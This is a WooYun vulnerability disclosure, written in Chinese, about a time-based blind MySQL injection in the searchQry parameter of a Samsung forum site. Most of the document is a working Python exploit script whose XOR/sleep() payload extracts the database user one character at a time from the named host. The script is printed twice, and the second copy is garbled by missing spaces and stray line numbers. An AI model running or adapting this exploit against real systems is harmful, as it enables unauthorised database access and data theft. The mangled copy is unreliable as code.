漏洞概要
缺陷编号:WooYun-2014-082219
漏洞标题:三星集团某站点MySQL盲注一枚(附python验证脚本)
相关厂商:三星集团
漏洞作者:lijiejie
提交时间:2014-11-06 10:55
公开时间:2014-12-21 11:02
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
漏洞详情
披露状态:
2014-11-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-21: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
三星集团某站点MySQL盲注一枚,猜解速度尚佳,附python验证脚本。
详细说明:
注入点位于:
http://www.sgsg.samsung.com/forum/qna.do?pageNo=1&searchQry=123
1
http://www.sgsg.samsung.com/forum/qna.do?pageNo=1&searchQry=123
参数searchQry可注入。
漏洞证明:
猜解user,得到:
[email protected]
1
[email protected]
验证脚本:
#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllibheaders = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']print 'start to retrive MySQL user:'
user = ''
for i in range(1,30,1):
for payload in payloads:
try:
conn = httplib.HTTPConnection('www.sgsg.samsung.com', timeout=5)
rand_num = str(random.random())
s = "123'XOR(if(ascii(mid(user()from(%s)for(1)))=%s,sleep(1),0))OR'bbb" % (i, ord(payload) )
conn.request(method='GET',
url='/forum/qna.do?pageNo=1&searchQry=' + urllib.quote(s),
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user
breakprint '\nMySQL user is', user
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#encoding=gbk
importhttplib
importtime
importstring
importsys
importrandom
importurllibheaders={
'Cookie':'',
'User-Agent':'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}payloads=list(string.ascii_lowercase)
foriinrange(0,10):
payloads.append(str(i))
payloads+=['@','_','.']print'start to retrive MySQL user:'
user=''
foriinrange(1,30,1):
forpayloadinpayloads:
try:
conn=httplib.HTTPConnection('www.sgsg.samsung.com',timeout=5)
rand_num=str(random.random())
s="123'XOR(if(ascii(mid(user()from(%s)for(1)))=%s,sleep(1),0))OR'bbb"%(i,ord(payload))
conn.request(method='GET',
url='/forum/qna.do?pageNo=1&searchQry='+urllib.quote(s),
headers=headers)
start_time=time.time()
html_doc=conn.getresponse().read()
conn.close()
print'.',
except:
user+=payload
print'\n[in progress]',user
breakprint'\nMySQL user is',user
修复方案:
过滤之
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
评价